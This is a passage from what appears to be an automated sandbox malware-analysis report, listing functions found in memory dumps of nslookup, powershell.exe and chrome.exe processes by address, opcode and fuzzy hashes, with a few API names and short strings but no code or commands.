API String ID: 539475747-3084827643
Opcode ID: 6fb513f72de4a0e6f92a5be301ef1a24211b785fed96bc12fabf4b4a9a3b189a
Instruction ID: a70f81bdcbcd8e327696a3e00b8cdc8c0069ed697a1b561a0c49ee8e913cfd4e
Opcode Fuzzy Hash: 6fb513f72de4a0e6f92a5be301ef1a24211b785fed96bc12fabf4b4a9a3b189a
Instruction Fuzzy Hash: 8EF05EB5714B9081E75ADB53F8403D92261AB4CBD0F884025FB8927B69CF38C595C740

Uniqueness

Uniqueness Score: -1.00%

Function 0000000140006484 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMONLIBRARYCODE

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 00000001400064AD
TlsSetValue.KERNEL32 ref: 00000001400064C4

Strings

FlsSetValue, xrefs: 000000014000649A

Memory Dump Source

Source File: 00000016.00000002.336319632.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_140000000_nslookup.jbxd

Similarity

API ID: Valuetry_get_function
String ID: FlsSetValue
API String ID: 738293619-3750699315
Opcode ID: 710688037a70124a23ded9f69984700a972f3327b718d02927e74c8fad75db71
Instruction ID: 51f3dfcc75cb7eca721987b756c51f7bac595818b9d6fe49fead209c2d1115cc
Opcode Fuzzy Hash: 710688037a70124a23ded9f69984700a972f3327b718d02927e74c8fad75db71
Instruction Fuzzy Hash: 93E092F1205A40C1FA4BDB63F8003E82262AB4C7C0F984122FB491B3B5CE38C889C300

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: powershell.exePID: 6940, Parent PID: 960COMMON

Executed Functions

Function 00007FFF7E3E5D70 Relevance: .1, Instructions: 103COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.470261290.00007FFF7E3E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFF7E3E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7fff7e3e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 518222056c3bfe6647ce0c96ecc70bba6ae8b5e66f3e11b7b6f93efab05aac99
Instruction ID: e0f2e28885d947bfe8c02bd145855d3f619c08fb9f6519ad497ae4a5107f5ce9
Opcode Fuzzy Hash: 518222056c3bfe6647ce0c96ecc70bba6ae8b5e66f3e11b7b6f93efab05aac99
Instruction Fuzzy Hash: A631EF31918A4D9FDF98DF18C495EEDBBE1FF68300F54016AE449D3255CA35E881CB81

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFF7E3E2363 Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.470261290.00007FFF7E3E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFF7E3E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7fff7e3e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c64acb5c6da7bcff6271394c8446b5d7a98c189f76eb30a71bbe5a62a5b1023
Instruction ID: 92545fb763721031c43f5dd99fd3d9eda82b86d1bcb9b00cf89b10c88cd04251
Opcode Fuzzy Hash: 2c64acb5c6da7bcff6271394c8446b5d7a98c189f76eb30a71bbe5a62a5b1023
Instruction Fuzzy Hash: F211BA31A1890D8FDF85EF58C495EEDB7E1FF68310F14016AE40AE7292CE25E881CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFF7E3E10D0 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.470261290.00007FFF7E3E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFF7E3E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7fff7e3e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7623cc1ce90a398d5b135984ee4d1fc802661151ac6617b43199657e270a9c6e
Instruction ID: ff60849d02a70e4fe9cbccb8f0549d81ea0160106a995cfe7ea01c1bf5246013
Opcode Fuzzy Hash: 7623cc1ce90a398d5b135984ee4d1fc802661151ac6617b43199657e270a9c6e
Instruction Fuzzy Hash: E3112B3251CB488BC754EB18D4519ABB7E1FBD8314F400A2FF48AE7255DE25EA458BC2

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFF7E3E597D Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.470261290.00007FFF7E3E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFF7E3E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7fff7e3e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 032ee4aa54fcea494df3a922e10ab961ea5b547e9a8b7f601f947b9f939c525a
Instruction ID: 452a8c214fefb99e231dbb293132b0cc67ff954b10464b04977b4d6001ca4a0e
Opcode Fuzzy Hash: 032ee4aa54fcea494df3a922e10ab961ea5b547e9a8b7f601f947b9f939c525a
Instruction Fuzzy Hash: 9B110D31A18B088FDB94EF58D4D5AEDB7F1FB58321F10416EE54AD7252DB31A842CB41

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFF7E3E3DE5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.470261290.00007FFF7E3E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFF7E3E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7fff7e3e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 680210260d297ddd6cce1913b2059f6c17375dc271560bd4e777092d97f47648
Instruction ID: 30867852edcf425cfc795e86ec11fab458805c06eb9998e73d6df81d44eb77a8
Opcode Fuzzy Hash: 680210260d297ddd6cce1913b2059f6c17375dc271560bd4e777092d97f47648
Instruction Fuzzy Hash: 5701677111CB0C4FD748EF0CE451AAAB7E0FB95324F10056EE58AC3651DA36E892CB45

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFF7E3E4890 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.470261290.00007FFF7E3E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFF7E3E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7fff7e3e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 55e291e62552701667458ea5398f2a4bd156d2191899b7ef04ec6e82071dbbb7
Instruction ID: 630e3e8f45ef03d18f7fba94a8a68d3f4817070db2a9b318c84adb8832d5e466
Opcode Fuzzy Hash: 55e291e62552701667458ea5398f2a4bd156d2191899b7ef04ec6e82071dbbb7
Instruction Fuzzy Hash: 3CF0903171DA080BE70C6B2CB8464FD77D1EB85320B4440BFE44AC6297EC27AC8346C6

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFF7E3E43BE Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.470261290.00007FFF7E3E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFF7E3E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7fff7e3e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e95261f27c70069d9c14d31a7765a9a3128ca2ea8b4442f0a392f6bd05b2afa3
Instruction ID: 9fbaf9a68be350cb4dfa7cc5cc29e8c3c14e88f705b59f5fc5481e399da75820
Opcode Fuzzy Hash: e95261f27c70069d9c14d31a7765a9a3128ca2ea8b4442f0a392f6bd05b2afa3
Instruction Fuzzy Hash: 06F05B3176C6054FDB9CAA1CE44157573D1E799311B10007EF48BC2696D927E843C745

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFF7E3E43D0 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.470261290.00007FFF7E3E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFF7E3E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7fff7e3e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 69302a8eb4077700b97b94fb6ff71897a0879acecc3a09039f1a64f56c7f6995
Instruction ID: 5b4b72158c5b7852df7746803fe81ea2ecb0d940749691520e96616fc0c4581e
Opcode Fuzzy Hash: 69302a8eb4077700b97b94fb6ff71897a0879acecc3a09039f1a64f56c7f6995
Instruction Fuzzy Hash: 51F0373275C6044FDB4CAA1CE88297973D1E799324B40016EE48BC2697DD17E8438645

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: chrome.exePID: 6564, Parent PID: 960COMMON

Executed Functions

Function 00007FFF7E3F1CCC Relevance: .1, Instructions: 120COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.527744869.00007FFF7E3F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFF7E3F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7fff7e3f0000_chrome.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: da9d6fcbb1a37ca8252af4463805dfb2e8bd55acadbebf373a3faca4876cbd73
Instruction ID: 972ba733ae1f09f61615105fddfbb8ce29edd782fe27007be04aefd156214c53
Opcode Fuzzy Hash: da9d6fcbb1a37ca8252af4463805dfb2e8bd55acadbebf373a3faca4876cbd73
Instruction Fuzzy Hash: 2C31292160D7890FD71B9A3488155A2BFE5EB87210B1582EFE0D6CB5A7DD289807C392

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFF7E3F1C9B Relevance: .1, Instructions: 116COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.527744869.00007FFF7E3F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFF7E3F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7fff7e3f0000_chrome.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2a6a7e60148b69404478d88d44b186bd85997c89ddc27844d5da8359a6b3df49
Instruction ID: f8f483b6308fc34c4e6d88d6e8827f9fdd3ac7a4dfac0ff4040af66095223f81
Opcode Fuzzy Hash: 2a6a7e60148b69404478d88d44b186bd85997c89ddc27844d5da8359a6b3df49
Instruction Fuzzy Hash: AF31382250D7C80FD31F9A348C255627FA6DBC7210B1A82EFE4C6CB1A7D8285C07C392

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFF7E3F1D60 Relevance: .1, Instructions: 93COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.527744869.00007FFF7E3F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFF7E3F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7fff7e3f0000_chrome.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 016c45f44d3f4328755a7679d7fc604a14ecc4e7ff13d9ad342c46670562395a
Instruction ID: 98c380d4cd5eefa7f0db6d035764c73860e536a4db1cd4b6b7348c8f4bf2b7c2
Opcode Fuzzy Hash: 016c45f44d3f4328755a7679d7fc604a14ecc4e7ff13d9ad342c46670562395a
Instruction Fuzzy Hash: 9E210B2260D2C41FD75F96388C29462BFAADBC711071A82EFE0C6CB5E3DD685807C392

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFF7E3F6B7B Relevance: 1.3, Strings: 1, Instructions: 41COMMON

Download Yara Rule

Strings

py-~, xrefs: 00007FFF7E3F6C5A

Memory Dump Source

Source File: 0000001E.00000002.527744869.00007FFF7E3F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFF7E3F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7fff7e3f0000_chrome.jbxd

Similarity

API ID:
String ID: py-~
API String ID: 0-2261527179
Opcode ID: 7f38103cfc77cb119253316d66ca0fea6db442fba036544d7e460d4b13e94cd6
Instruction ID: cf007997fa0a77e73ae4c10c12778ec4dcb83da61f8727e5d8e122e0cad684da
Opcode Fuzzy Hash: 7f38103cfc77cb119253316d66ca0fea6db442fba036544d7e460d4b13e94cd6
Instruction Fuzzy Hash: B2F0F03271841A0BE78CFA6C842A2FD66C6EB85300B50023BE40BD73D7DC2C98120385

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFF7E3F117C Relevance: 1.3, Strings: 1, Instructions: 18COMMON

Download Yara Rule

Strings

`W-~, xrefs: 00007FFF7E3F11A0

Memory Dump Source

Source File: 0000001E.00000002.527744869.00007FFF7E3F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFF7E3F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7fff7e3f0000_chrome.jbxd

Similarity

API ID:
String ID: `W-~
API String ID: 0-3825604350
Opcode ID: db2a9dc40ef2fcf5fe8c4f533a8c1b16486fa2a5813d847d1c1c366c70ff3ce1
Instruction ID: 802cf6131d18d33502f33dc526aa21031eb180cb7454be7f244fd9a306964ef3
Opcode Fuzzy Hash: db2a9dc40ef2fcf5fe8c4f533a8c1b16486fa2a5813d847d1c1c366c70ff3ce1
Instruction Fuzzy Hash: 79D0A902716A0D4B9AD0AA3C81886E993C0EF9A212380027B918BC2283DD18A44B0280

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFF7E3F4FC7 Relevance: 1.3, Strings: 1, Instructions: 8COMMON

Download Yara Rule

Strings

5__^, xrefs: 00007FFF7E3F4FD7

Memory Dump Source

Source File: 0000001E.00000002.527744869.00007FFF7E3F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFF7E3F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7fff7e3f0000_chrome.jbxd

Similarity

API ID:
String ID: 5__^
API String ID: 0-411768125
Opcode ID: 1b4d92cd849ba7b4bd41e55832e49858648abda82719d1d28c946d0f6cf4526e
Instruction ID: 693820f8965f0ce25671118821be740fa6834f38d8faa288ea554c356b640c13
Opcode Fuzzy Hash: 1b4d92cd849ba7b4bd41e55832e49858648abda82719d1d28c946d0f6cf4526e
Instruction Fuzzy Hash: 61C09B1753D5496FE2C1E7FC45E9A64BED1AB16250700007AF506DA583ED1CF4444E55

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFF7E3F4ED2 Relevance: 1.3, Strings: 1, Instructions: 7COMMON

Download Yara Rule

Strings

#6__^, xrefs: 00007FFF7E3F4EDD

Memory Dump Source

Source File: 0000001E.00000002.527744869.00007FFF7E3F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFF7E3F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7fff7e3f0000_chrome.jbxd

Similarity

API ID:
String ID: #6__^
API String ID: 0-3398070538
Opcode ID: 57fc2bcadf9bd8b957d80fd1d0d402035e12004a011d3544b9b0f1d7f463748b
Instruction ID: 605cf0dec78f0d052e458476aacca5570f1adbe1d506ab95dcba96a7107932a0
Opcode Fuzzy Hash: 57fc2bcadf9bd8b957d80fd1d0d402035e12004a011d3544b9b0f1d7f463748b
Instruction Fuzzy Hash: B9B0124393C54A2AA2C9B7AC05387749CC1FE57160B04007BE41FDB3C7EC0CC4451A43

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFF7E3F00BF Relevance: .1, Instructions: 136COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.527744869.00007FFF7E3F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFF7E3F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7fff7e3f0000_chrome.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3a72d9d8782697067fe48d4a4ba8bd1e12770ef04f0ea2e868d5076f49aba76c
Instruction ID: 5a97374851caaf22db0b6d9f4990edcf004da29588221ee66b312061befee50d
Opcode Fuzzy Hash: 3a72d9d8782697067fe48d4a4ba8bd1e12770ef04f0ea2e868d5076f49aba76c
Instruction Fuzzy Hash: 2441AF3BB041168AE704EF6DF8855EDB7E0EFC0335B00453BD185CE252DE2AA59B8B95

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFF7E3F007F Relevance: .1, Instructions: 134COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.527744869.00007FFF7E3F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFF7E3F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7fff7e3f0000_chrome.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c8d7e36510c15b5209070ca0995cf6a646ab228de0cabc7d3399e3f2bd336915
Instruction ID: 5102c1113f4649e50d536e1b14344c44edc8cfe06819dd80dd2b1c1e3b3f5d34
Opcode Fuzzy Hash: c8d7e36510c15b5209070ca0995cf6a646ab228de0cabc7d3399e3f2bd336915
Instruction Fuzzy Hash: 4941CF3BB041168AE700EF6DE8855EDB7E0EFC0335B004537D185CE252DE2AA59B8B95

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFF7E3F00D8 Relevance: .1, Instructions: 122COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.527744869.00007FFF7E3F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFF7E3F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7fff7e3f0000_chrome.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f7072d9f784423f9decff5c5d5d970d5af89abcac20e5b02c016c71965f639b5
Instruction ID: f62f1839b865308138d97e1927e63bfe400405d3f7f18b3ad2727fbb4f0cddc3
Opcode Fuzzy Hash: f7072d9f784423f9decff5c5d5d970d5af89abcac20e5b02c016c71965f639b5
Instruction Fuzzy Hash: FD31D33BB041168BE704EF6CE8854ED77E0EF80335B00453BD185CE252DE29A59B8B95

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFF7E3F00F8 Relevance: .1, Instructions: 107COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.527744869.00007FFF7E3F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFF7E3F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7fff7e3f0000_chrome.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 81f5e7671e75f3992882616a3c2621671b7d30d2df3abcaf189576ba671137b9
Instruction ID: a6f5f70f3772ed6ccb004c8346f33690a6a69b464ea2e9a639da454938a41ae5
Opcode Fuzzy Hash: 81f5e7671e75f3992882616a3c2621671b7d30d2df3abcaf189576ba671137b9
Instruction Fuzzy Hash: C531D43BB1410A8BE704EF6CE4895ED77E0EF80335B10053BD185CE252DE39A55B8B95

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFF7E3F0AA0 Relevance: .1, Instructions: 80COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.527744869.00007FFF7E3F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFF7E3F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7fff7e3f0000_chrome.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1481ac046bb1a6741105e2df1f09ec8707a79f6a69c2232b787185ac7b0f2b75
Instruction ID: 285d4914f84934e48a0fa7606831a7e2a557abaeadff2eff0619316767bd5edf
Opcode Fuzzy Hash: 1481ac046bb1a6741105e2df1f09ec8707a79f6a69c2232b787185ac7b0f2b75
Instruction Fuzzy Hash: BC11263370C5091FA76C982CAC0B4B7B78BD3C6230B51D32FE597C26AAED65A81341C4

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFF7E3F0140 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.527744869.00007FFF7E3F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFF7E3F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7fff7e3f0000_chrome.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 868ced5c6f81069e5b1cbb552d3c338affeeccba8f15ca583961693946d5a205
Instruction ID: 5182d83a5fd2c464891fdbac5b1a50122478c7a4d9fc1d0bb249db41f337e490
Opcode Fuzzy Hash: 868ced5c6f81069e5b1cbb552d3c338affeeccba8f15ca583961693946d5a205
Instruction Fuzzy Hash: 4221257AA4410A8BE700EFACD8855EEBBF1FF80325F00017BE146DB252DE3995568B91

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFF7E3F0138 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.527744869.00007FFF7E3F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFF7E3F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7fff7e3f0000_chrome.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 552dadd19347d3627d1ac4d3b7832c8edb951dc6c64a9b3855ffe8934009be43
Instruction ID: 2de87f1d6182a03439f21071c3e6146a04d58315a1dc0882b63b9907b0f0e1d7
Opcode Fuzzy Hash: 552dadd19347d3627d1ac4d3b7832c8edb951dc6c64a9b3855ffe8934009be43
Instruction Fuzzy Hash: EB21297AB4410A8BE700EFACD8855EEBBF1FF80325F00057BD141DB252DE3995568B91

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFF7E3F2867 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.527744869.00007FFF7E3F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFF7E3F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7fff7e3f0000_chrome.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6f4501d16a5929ef28fd8c6b07dc4bd3dea0a85e1ab56045d3b68d85ab47eaac
Instruction ID: db95fc18397716a6b64d71b55243186c41f13b04c7140c2f86556c03a667a2d6
Opcode Fuzzy Hash: 6f4501d16a5929ef28fd8c6b07dc4bd3dea0a85e1ab56045d3b68d85ab47eaac
Instruction Fuzzy Hash: 47110D3250C2455FD31DDA758C568A27FE5EF5332031A42AEE4C6CB1B3E5689C07C795

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFF7E3F0A98 Relevance: .1, Instructions: 67COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.527744869.00007FFF7E3F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFF7E3F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7fff7e3f0000_chrome.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7f3638eb3284a9057c2d37a5329c07c9644451e0303acf6463ff447261368fdc
Instruction ID: 37fb5f9851c64d0f854a820129f7686c0d0b216a947b21f1f580b7f7cb8711f3
Opcode Fuzzy Hash: 7f3638eb3284a9057c2d37a5329c07c9644451e0303acf6463ff447261368fdc
Instruction Fuzzy Hash: 2E01F23360C10D1FA21CE869AC4B8F6B78AE782230761523FF4C7C26A2FC65AC1346C4

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFF7E3F221D Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.527744869.00007FFF7E3F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFF7E3F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7fff7e3f0000_chrome.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a4b004eab4b27393fab3c615f998d5d63279802d95bcc7fe5b2104a42e5fb70
Instruction ID: c1647367fe0160359cf30875fe04463e47b1acd4141b9009ff33b20098a27f35
Opcode Fuzzy Hash: 7a4b004eab4b27393fab3c615f998d5d63279802d95bcc7fe5b2104a42e5fb70
Instruction Fuzzy Hash: CF11D63162C7414FC35DDB14C4A28BABBE2FB96301B2485BEE087971D7C928E842C782

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFF7E3F2251 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.527744869.00007FFF7E3F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFF7E3F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7fff7e3f0000_chrome.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d31bff61aa7b2276a5f0ecbfd4b73da0d838d01f6008494a704691c8ad23bd7d
Instruction ID: 3d131706b20c9c34f3e466dbabce73fb11df088d456249bf49601c7d65ca9c35
Opcode Fuzzy Hash: d31bff61aa7b2276a5f0ecbfd4b73da0d838d01f6008494a704691c8ad23bd7d
Instruction Fuzzy Hash: 791173306287058FC74CDE08C4A197AB7E2FBD9305B24557DE48797296CA34F882CB82

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFF7E3F4FF8 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.527744869.00007FFF7E3F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFF7E3F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7fff7e3f0000_chrome.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a14bac8daf4315576f632be9a423b734d698ac20dce1efecc264be5c4f1f1e0
Instruction ID: 2058c190a93671645ea46677771246d4355ea896c9bf1394dc914033c4a63a91
Opcode Fuzzy Hash: 0a14bac8daf4315576f632be9a423b734d698ac20dce1efecc264be5c4f1f1e0
Instruction Fuzzy Hash: 53019231B2CA4A4FE798EE288495978BBC2FF98301B0541BFE44FDB292DD29EC415701

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFF7E3F2E87 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.527744869.00007FFF7E3F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFF7E3F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7fff7e3f0000_chrome.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 422b2791af0d54d94431546cf6ab0c797dbf3c06471288b46906c058700df686
Instruction ID: 91d49629e553d3fb7d00c066fd5371edde274060de4c5d157ee2a81acfc9d003
Opcode Fuzzy Hash: 422b2791af0d54d94431546cf6ab0c797dbf3c06471288b46906c058700df686
Instruction Fuzzy Hash: CF01D23154D7C64FC786973488614E57FF1EF9722031942EBD082CB1E3EA58580AC752

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFF7E3F154C Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.527744869.00007FFF7E3F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFF7E3F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7fff7e3f0000_chrome.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5772964717a0bfb5b92853ab9aa6da21f7458f015e380713dfa9ef8c9153e9bd
Instruction ID: eb048440d6ba9ddb25e38bf1ff186c694d149b791576fc5fe027e78e5c26a63b
Opcode Fuzzy Hash: 5772964717a0bfb5b92853ab9aa6da21f7458f015e380713dfa9ef8c9153e9bd
Instruction Fuzzy Hash: AA01A7317282054F875CD62C845146A76E7F7C9705720D23EE0CBC73DACE38E9124A85

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFF7E3F0170 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.527744869.00007FFF7E3F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFF7E3F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7fff7e3f0000_chrome.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a195f16abe4f0b591eedcf8b862078f0b24937e2115d18d5a65c6b77d392cc95
Instruction ID: 6e7a4809a285f121d76140b7251dd6880826d979549ede35e6f78c927de9d322
Opcode Fuzzy Hash: a195f16abe4f0b591eedcf8b862078f0b24937e2115d18d5a65c6b77d392cc95
Instruction Fuzzy Hash: DE110475E4964A8BDB00DF68C8545FEBBF2FF40304F00413AE106EB281DE3856548B81

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFF7E3F0B30 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.527744869.00007FFF7E3F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFF7E3F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7fff7e3f0000_chrome.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 20615e1d9e760c0a59847156be5f84921a3fa1dc8166cfb0eebf4af0d66d8c6c
Instruction ID: d3b044fc288937f37bb7813501404c9eceefa9153e5e0946582df277a563b4ee
Opcode Fuzzy Hash: 20615e1d9e760c0a59847156be5f84921a3fa1dc8166cfb0eebf4af0d66d8c6c
Instruction Fuzzy Hash: 3AF059327158090BC798D5388C548BB77D6EBD4331760033BE007C72A4DD6969428780

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFF7E3F2650 Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.527744869.00007FFF7E3F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFF7E3F0000, based on PE: false

Joe Sandbox IDA Plugin

